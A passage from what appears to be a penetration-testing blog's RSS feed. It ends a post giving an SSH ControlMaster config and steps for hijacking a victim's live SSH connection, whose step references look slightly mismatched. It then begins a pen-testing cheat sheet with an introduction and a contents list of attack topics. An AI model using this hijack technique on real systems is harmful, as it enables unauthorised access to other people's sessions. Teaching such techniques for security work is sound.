&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Host &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;

ControlMaster auto
~/.ssh/master-socket/%r@%h:%p
ControlPersist &lt;span class=&quot;nb&quot;&gt;yes&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ol&gt;
  &lt;li&gt;ensure the master-socket directory exists if it does not, create it  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mkdir ~/.ssh/master-socket/&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Ensure the correct permissions are in place for the config file  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod 600 ~/.ssh/config&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Wait for the victim to login and establish a connection to another server&lt;/li&gt;
  &lt;li&gt;View the directory created at step 4 to observe the socket file:  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls -lat ~/.ssh/master-socket&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;To hijack the existing connection ssh to user@hostname / IP listed in step 7&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you know of more techniques let me know on LinkedIn&lt;/p&gt;

&lt;p&gt;Enjoy.&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Pen Testing Tools Cheat Sheet</title>
          <link>https://hacksofdhruv.me/blog/penetration-testing-tools-cheat-sheet/</link>
          <pubDate>Sat, 01 Jun 2024 14:22:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Windows</category>
          
          <category>SMB</category>
          
          <category>Linux</category>
          
          <category>Tools</category>
          
          <category>Pen-Testing</category>
          
          <category>cheat-sheet</category>
          
          <category>Web</category>
          
          <category>Mobile</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/penetration-testing-tools-cheat-sheet/</guid>
          <description>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Penetration testing tools cheat sheet&lt;/strong&gt;, a quick reference for common penetration testing commands and techniques. This cheat sheet is designed to provide a quick overview of &lt;strong&gt;typical&lt;/strong&gt; commands used during a &lt;a href=&quot;/penetration-testing/&quot;&gt;penetration testing&lt;/a&gt; engagement.  For in-depth usage, consult the tool’s manual or explore more specialized cheat sheets from the menu on the right.&lt;/p&gt;

&lt;p&gt;This cheat sheet focus on Infrastructure and Network penetration testing. Web application testing is not covered extensively, except for a few SQLMap commands and basic web server enumeration. For comprehensive web application testing, consider the Web Application Hacker’s Handbook, it is best for both learning and reference.&lt;/p&gt;

&lt;p&gt;If I’m missing any pen testing tools here, please let me know on LinkedIn.&lt;/p&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#introduction&quot; id=&quot;markdown-toc-introduction&quot;&gt;Introduction&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#pre-engagement&quot; id=&quot;markdown-toc-pre-engagement&quot;&gt;Pre-engagement&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#network-configuration&quot; id=&quot;markdown-toc-network-configuration&quot;&gt;Network Configuration&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#set-ip-address&quot; id=&quot;markdown-toc-set-ip-address&quot;&gt;Set IP Address&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#subnetting&quot; id=&quot;markdown-toc-subnetting&quot;&gt;Subnetting&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#osint&quot; id=&quot;markdown-toc-osint&quot;&gt;OSINT&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#passive-information-gathering&quot; id=&quot;markdown-toc-passive-information-gathering&quot;&gt;Passive Information Gathering&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#dns&quot; id=&quot;markdown-toc-dns&quot;&gt;DNS&lt;/a&gt;            &lt;ul&gt;
              &lt;li&gt;&lt;a href=&quot;#whois-enumeration&quot; id=&quot;markdown-toc-whois-enumeration&quot;&gt;WHOIS enumeration&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#perform-dns-ip-lookup&quot; id=&quot;markdown-toc-perform-dns-ip-lookup&quot;&gt;Perform DNS IP Lookup&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#perform-mx-record-lookup&quot; id=&quot;markdown-toc-perform-mx-record-lookup&quot;&gt;Perform MX Record Lookup&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#perform-zone-transfer-with-dig&quot; id=&quot;markdown-toc-perform-zone-transfer-with-dig&quot;&gt;Perform Zone Transfer with DIG&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dns-zone-transfers&quot; id=&quot;markdown-toc-dns-zone-transfers&quot;&gt;DNS Zone Transfers&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#email&quot; id=&quot;markdown-toc-email&quot;&gt;Email&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#simply-email&quot; id=&quot;markdown-toc-simply-email&quot;&gt;Simply Email&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#semi-active-information-gathering&quot; id=&quot;markdown-toc-semi-active-information-gathering&quot;&gt;Semi Active Information Gathering&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#basic-finger-printing&quot; id=&quot;markdown-toc-basic-finger-printing&quot;&gt;Basic Finger Printing&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#banner-grabbing-with-nc&quot; id=&quot;markdown-toc-banner-grabbing-with-nc&quot;&gt;Banner grabbing with NC&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#active-information-gathering&quot; id=&quot;markdown-toc-active-information-gathering&quot;&gt;Active Information Gathering&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#dns-bruteforce&quot; id=&quot;markdown-toc-dns-bruteforce&quot;&gt;DNS Bruteforce&lt;/a&gt;            &lt;ul&gt;
              &lt;li&gt;&lt;a href=&quot;#dnsrecon&quot; id=&quot;markdown-toc-dnsrecon&quot;&gt;DNSRecon&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#port-scanning&quot; id=&quot;markdown-toc-port-scanning&quot;&gt;Port Scanning&lt;/a&gt;            &lt;ul&gt;
              &lt;li&gt;&lt;a href=&quot;#nmap-commands&quot; id=&quot;markdown-toc-nmap-commands&quot;&gt;Nmap Commands&lt;/a&gt;                &lt;ul&gt;
                  &lt;li&gt;&lt;a href=&quot;#nmap-udp-scanning&quot; id=&quot;markdown-toc-nmap-udp-scanning&quot;&gt;Nmap UDP Scanning&lt;/a&gt;&lt;/li&gt;
                  &lt;li&gt;&lt;a href=&quot;#udp-protocol-scanner&quot; id=&quot;markdown-toc-udp-protocol-scanner&quot;&gt;UDP Protocol Scanner&lt;/a&gt;&lt;/li&gt;
                  &lt;li&gt;&lt;a href=&quot;#other-host-discovery&quot; id=&quot;markdown-toc-other-host-discovery&quot;&gt;Other Host Discovery&lt;/a&gt;&lt;/li&gt;
                &lt;/ul&gt;
              &lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration--attacking-network-services&quot; id=&quot;markdown-toc-enumeration--attacking-network-services&quot;&gt;Enumeration &amp;amp; Attacking Network Services&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#samb--smb--windows-domain-enumeration&quot; id=&quot;markdown-toc-samb--smb--windows-domain-enumeration&quot;&gt;SAMB / SMB / Windows Domain Enumeration&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#samba-enumeration&quot; id=&quot;markdown-toc-samba-enumeration&quot;&gt;Samba Enumeration&lt;/a&gt;            &lt;ul&gt;
              &lt;li&gt;&lt;a href=&quot;#smb-enumeration-tools&quot; id=&quot;markdown-toc-smb-enumeration-tools&quot;&gt;SMB Enumeration Tools&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#fingerprint-smb-version&quot; id=&quot;markdown-toc-fingerprint-smb-version&quot;&gt;Fingerprint SMB Version&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#find-open-smb-shares&quot; id=&quot;markdown-toc-find-open-smb-shares&quot;&gt;Find open SMB Shares&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#enumerate-smb-users&quot; id=&quot;markdown-toc-enumerate-smb-users&quot;&gt;Enumerate SMB Users&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#manual-null-session-testing&quot; id=&quot;markdown-toc-manual-null-session-testing&quot;&gt;Manual Null session testing:&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#nbtscan-unixwiz&quot; id=&quot;markdown-toc-nbtscan-unixwiz&quot;&gt;NBTScan unixwiz&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#llmnr--nbt-ns-spoofing&quot; id=&quot;markdown-toc-llmnr--nbt-ns-spoofing&quot;&gt;LLMNR / NBT-NS Spoofing&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#metasploit-llmnr--netbios-requests&quot; id=&quot;markdown-toc-metasploit-llmnr--netbios-requests&quot;&gt;Metasploit LLMNR / NetBIOS requests&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#responderpy&quot; id=&quot;markdown-toc-responderpy&quot;&gt;Responder.py&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#snmp-enumeration-tools&quot; id=&quot;markdown-toc-snmp-enumeration-tools&quot;&gt;SNMP Enumeration Tools&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#snmpv3-enumeration-tools&quot; id=&quot;markdown-toc-snmpv3-enumeration-tools&quot;&gt;SNMPv3 Enumeration Tools&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#r-services-enumeration&quot; id=&quot;markdown-toc-r-services-enumeration&quot;&gt;R Services Enumeration&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#rsh-enumeration&quot; id=&quot;markdown-toc-rsh-enumeration&quot;&gt;RSH Enumeration&lt;/a&gt;            &lt;ul&gt;
              &lt;li&gt;&lt;a href=&quot;#rsh-run-commands&quot; id=&quot;markdown-toc-rsh-run-commands&quot;&gt;RSH Run Commands&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#metasploit-rsh-login-scanner&quot; id=&quot;markdown-toc-metasploit-rsh-login-scanner&quot;&gt;Metasploit RSH Login Scanner&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#rusers-show-logged-in-users&quot; id=&quot;markdown-toc-rusers-show-logged-in-users&quot;&gt;rusers Show Logged in Users&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#rusers-scan-whole-subnet&quot; id=&quot;markdown-toc-rusers-scan-whole-subnet&quot;&gt;rusers scan whole Subnet&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#finger-enumeration&quot; id=&quot;markdown-toc-finger-enumeration&quot;&gt;Finger Enumeration&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#finger-a-specific-username&quot; id=&quot;markdown-toc-finger-a-specific-username&quot;&gt;Finger a Specific Username&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#solaris-bug-that-shows-all-logged-in-users&quot; id=&quot;markdown-toc-solaris-bug-that-shows-all-logged-in-users&quot;&gt;Solaris bug that shows all logged in users:&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#rwho&quot; id=&quot;markdown-toc-rwho&quot;&gt;rwho&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tls--ssl-testing&quot; id=&quot;markdown-toc-tls--ssl-testing&quot;&gt;TLS &amp;amp; SSL Testing&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#testsslsh&quot; id=&quot;markdown-toc-testsslsh&quot;&gt;testssl.sh&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vulnerability-assessment&quot; id=&quot;markdown-toc-vulnerability-assessment&quot;&gt;Vulnerability Assessment&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#database-penetration-testing&quot; id=&quot;markdown-toc-database-penetration-testing&quot;&gt;Database Penetration Testing&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#oracle&quot; id=&quot;markdown-toc-oracle&quot;&gt;Oracle&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#fingerprint-oracle-tns-version&quot; id=&quot;markdown-toc-fingerprint-oracle-tns-version&quot;&gt;Fingerprint Oracle TNS Version&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#brute-force-oracle-user-accounts&quot; id=&quot;markdown-toc-brute-force-oracle-user-accounts&quot;&gt;Brute force oracle user accounts&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#oracle-privilege-escalation&quot; id=&quot;markdown-toc-oracle-privilege-escalation&quot;&gt;Oracle Privilege Escalation&lt;/a&gt;            &lt;ul&gt;
              &lt;li&gt;&lt;a href=&quot;#identify-default-accounts-within-oracle-db-using-nmap-nse-scripts&quot; id=&quot;markdown-toc-identify-default-accounts-within-oracle-db-using-nmap-nse-scripts&quot;&gt;Identify default accounts within oracle db using NMAP NSE scripts:&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#how-to-identify-the-current-privilege-level-for-an-oracle-user&quot; id=&quot;markdown-toc-how-to-identify-the-current-privilege-level-for-an-oracle-user&quot;&gt;How to identify the current privilege level for an oracle user:&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#oracle-priv-esc-and-obtain-dba-access&quot; id=&quot;markdown-toc-oracle-priv-esc-and-obtain-dba-access&quot;&gt;Oracle priv esc and obtain DBA access:&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#run-the-exploit-with-a-select-query&quot; id=&quot;markdown-toc-run-the-exploit-with-a-select-query&quot;&gt;Run the exploit with a select query:&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#remove-the-exploit-using&quot; id=&quot;markdown-toc-remove-the-exploit-using&quot;&gt;Remove the exploit using:&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#get-oracle-reverse-os-shell&quot; id=&quot;markdown-toc-get-oracle-reverse-os-shell&quot;&gt;Get Oracle Reverse os-shell:&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#mssql&quot; id=&quot;markdown-toc-mssql&quot;&gt;MSSQL&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#bruteforce-mssql-login&quot; id=&quot;markdown-toc-bruteforce-mssql-login&quot;&gt;Bruteforce MSSQL Login&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#metasploit-mssql-shell&quot; id=&quot;markdown-toc-metasploit-mssql-shell&quot;&gt;Metasploit MSSQL Shell&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#network&quot; id=&quot;markdown-toc-network&quot;&gt;Network&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#plinkexe-tunnel&quot; id=&quot;markdown-toc-plinkexe-tunnel&quot;&gt;Plink.exe Tunnel&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#pivoting&quot; id=&quot;markdown-toc-pivoting&quot;&gt;Pivoting&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#ssh-pivoting&quot; id=&quot;markdown-toc-ssh-pivoting&quot;&gt;SSH Pivoting&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#meterpreter-pivoting&quot; id=&quot;markdown-toc-meterpreter-pivoting&quot;&gt;Meterpreter Pivoting&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#ttl-finger-printing&quot; id=&quot;markdown-toc-ttl-finger-printing&quot;&gt;TTL Finger Printing&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#ipv4-cheat-sheets&quot; id=&quot;markdown-toc-ipv4-cheat-sheets&quot;&gt;IPv4 Cheat Sheets&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#classful-ip-ranges&quot; id=&quot;markdown-toc-classful-ip-ranges&quot;&gt;Classful IP Ranges&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#ipv4-private-address-ranges&quot; id=&quot;markdown-toc-ipv4-private-address-ranges&quot;&gt;IPv4 Private Address Ranges&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#ipv4-subnet-cheat-sheet&quot; id=&quot;markdown-toc-ipv4-subnet-cheat-sheet&quot;&gt;IPv4 Subnet Cheat Sheet&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vlan-hopping&quot; id=&quot;markdown-toc-vlan-hopping&quot;&gt;VLAN Hopping&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vpn-pentesting-tools&quot; id=&quot;markdown-toc-vpn-pentesting-tools&quot;&gt;VPN Pentesting Tools&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#ikeforce&quot; id=&quot;markdown-toc-ikeforce&quot;&gt;IKEForce&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#ike-aggressive-mode-psk-cracking&quot; id=&quot;markdown-toc-ike-aggressive-mode-psk-cracking&quot;&gt;IKE Aggressive Mode PSK Cracking&lt;/a&gt;            &lt;ul&gt;
              &lt;li&gt;&lt;a href=&quot;#step-1-idenitfy-ike-servers&quot; id=&quot;markdown-toc-step-1-idenitfy-ike-servers&quot;&gt;Step 1: Idenitfy IKE Servers&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#step-2-enumerate-group-name-with-ikeforce&quot; id=&quot;markdown-toc-step-2-enumerate-group-name-with-ikeforce&quot;&gt;Step 2: Enumerate group name with IKEForce&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#step-3-use-ike-scan-to-capture-the-psk-hash&quot; id=&quot;markdown-toc-step-3-use-ike-scan-to-capture-the-psk-hash&quot;&gt;Step 3: Use ike-scan to capture the PSK hash&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#step-4-use-psk-crack-to-crack-the-psk-hash&quot; id=&quot;markdown-toc-step-4-use-psk-crack-to-crack-the-psk-hash&quot;&gt;Step 4: Use psk-crack to crack the PSK hash&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#pptp-hacking&quot; id=&quot;markdown-toc-pptp-hacking&quot;&gt;PPTP Hacking&lt;/a&gt;            &lt;ul&gt;
              &lt;li&gt;&lt;a href=&quot;#nmap-pptp-fingerprint&quot; id=&quot;markdown-toc-nmap-pptp-fingerprint&quot;&gt;NMAP PPTP Fingerprint:&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#pptp-dictionary-attack&quot; id=&quot;markdown-toc-pptp-dictionary-attack&quot;&gt;PPTP Dictionary Attack&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#dns-tunneling&quot; id=&quot;markdown-toc-dns-tunneling&quot;&gt;DNS Tunneling&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#attacking-machine&quot; id=&quot;markdown-toc-attacking-machine&quot;&gt;Attacking Machine&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#bof--exploit&quot; id=&quot;markdown-toc-bof--exploit&quot;&gt;BOF / Exploit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exploit-research&quot; id=&quot;markdown-toc-exploit-research&quot;&gt;Exploit Research&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#searching-for-exploits&quot; id=&quot;markdown-toc-searching-for-exploits&quot;&gt;Searching for Exploits&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#compiling-windows-exploits-on-kali&quot; id=&quot;markdown-toc-compiling-windows-exploits-on-kali&quot;&gt;Compiling Windows Exploits on Kali&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#cross-compiling-exploits&quot; id=&quot;markdown-toc-cross-compiling-exploits&quot;&gt;Cross Compiling Exploits&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#exploiting-common-vulnerabilities&quot; id=&quot;markdown-toc-exploiting-common-vulnerabilities&quot;&gt;Exploiting Common Vulnerabilities&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#exploiting-shellshock&quot; id=&quot;markdown-toc-exploiting-shellshock&quot;&gt;Exploiting Shellshock&lt;/a&gt;            &lt;ul&gt;
              &lt;li&gt;&lt;a href=&quot;#cat-file-view-file-contents&quot; id=&quot;markdown-toc-cat-file-view-file-contents&quot;&gt;cat file (view file contents)&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#shell-shock-run-bind-shell&quot; id=&quot;markdown-toc-shell-shock-run-bind-shell&quot;&gt;Shell Shock run bind shell&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#shell-shock-reverse-shell&quot; id=&quot;markdown-toc-shell-shock-reverse-shell&quot;&gt;Shell Shock reverse Shell&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#simple-local-web-servers&quot; id=&quot;markdown-toc-simple-local-web-servers&quot;&gt;Simple Local Web Servers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#mounting-file-shares&quot; id=&quot;markdown-toc-mounting-file-shares&quot;&gt;Mounting File Shares&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#http--https-webserver-enumeration&quot; id=&quot;markdown-toc-http--https-webserver-enumeration&quot;&gt;HTTP / HTTPS Webserver Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#packet-inspection&quot; id=&quot;markdown-toc-packet-inspection&quot;&gt;Packet Inspection&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#username-enumeration&quot; id=&quot;markdown-toc-username-enumeration&quot;&gt;Username Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#smb-user-enumeration&quot; id=&quot;markdown-toc-smb-user-enumeration&quot;&gt;SMB User Enumeration&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#snmp-user-enumeration&quot; id=&quot;markdown-toc-snmp-user-enumeration&quot;&gt;SNMP User Enumeration&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#passwords&quot; id=&quot;markdown-toc-passwords&quot;&gt;Passwords&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#wordlists&quot; id=&quot;markdown-toc-wordlists&quot;&gt;Wordlists&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#brute-forcing-services&quot; id=&quot;markdown-toc-brute-forcing-services&quot;&gt;Brute Forcing Services&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#hydra-ftp-brute-force&quot; id=&quot;markdown-toc-hydra-ftp-brute-force&quot;&gt;Hydra FTP Brute Force&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#hydra-pop3-brute-force&quot; id=&quot;markdown-toc-hydra-pop3-brute-force&quot;&gt;Hydra POP3 Brute Force&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#hydra-smtp-brute-force&quot; id=&quot;markdown-toc-hydra-smtp-brute-force&quot;&gt;Hydra SMTP Brute Force&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#password-cracking&quot; id=&quot;markdown-toc-password-cracking&quot;&gt;Password Cracking&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#john-the-ripper---jtr&quot; id=&quot;markdown-toc-john-the-ripper---jtr&quot;&gt;John The Ripper - JTR&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#windows-penetration-testing-commands&quot; id=&quot;markdown-toc-windows-penetration-testing-commands&quot;&gt;Windows Penetration Testing Commands&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#linux-penetration-testing-commands&quot; id=&quot;markdown-toc-linux-penetration-testing-commands&quot;&gt;Linux Penetration Testing Commands&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#compiling-exploits&quot; id=&quot;markdown-toc-compiling-exploits&quot;&gt;Compiling Exploits&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#identifying-if-c-code-is-for-windows-or-linux&quot; id=&quot;markdown-toc-identifying-if-c-code-is-for-windows-or-linux&quot;&gt;Identifying if C code is for Windows or Linux&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#build-exploit-gcc&quot; id=&quot;markdown-toc-build-exploit-gcc&quot;&gt;Build Exploit GCC&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#gcc-compile-32bit-exploit-on-64bit-kali&quot; id=&quot;markdown-toc-gcc-compile-32bit-exploit-on-64bit-kali&quot;&gt;GCC Compile 32Bit Exploit on 64Bit Kali&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#compile-windows-exe-on-linux&quot; id=&quot;markdown-toc-compile-windows-exe-on-linux&quot;&gt;Compile Windows .exe on Linux&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#suid-binary&quot; id=&quot;markdown-toc-suid-binary&quot;&gt;SUID Binary&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#suid-c-shell-for-binbash&quot; id=&quot;markdown-toc-suid-c-shell-for-binbash&quot;&gt;SUID C Shell for /bin/bash&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#suid-c-shell-for-binsh&quot; id=&quot;markdown-toc-suid-c-shell-for-binsh&quot;&gt;SUID C Shell for /bin/sh&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#building-the-suid-shell-binary&quot; id=&quot;markdown-toc-building-the-suid-shell-binary&quot;&gt;Building the SUID Shell binary&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
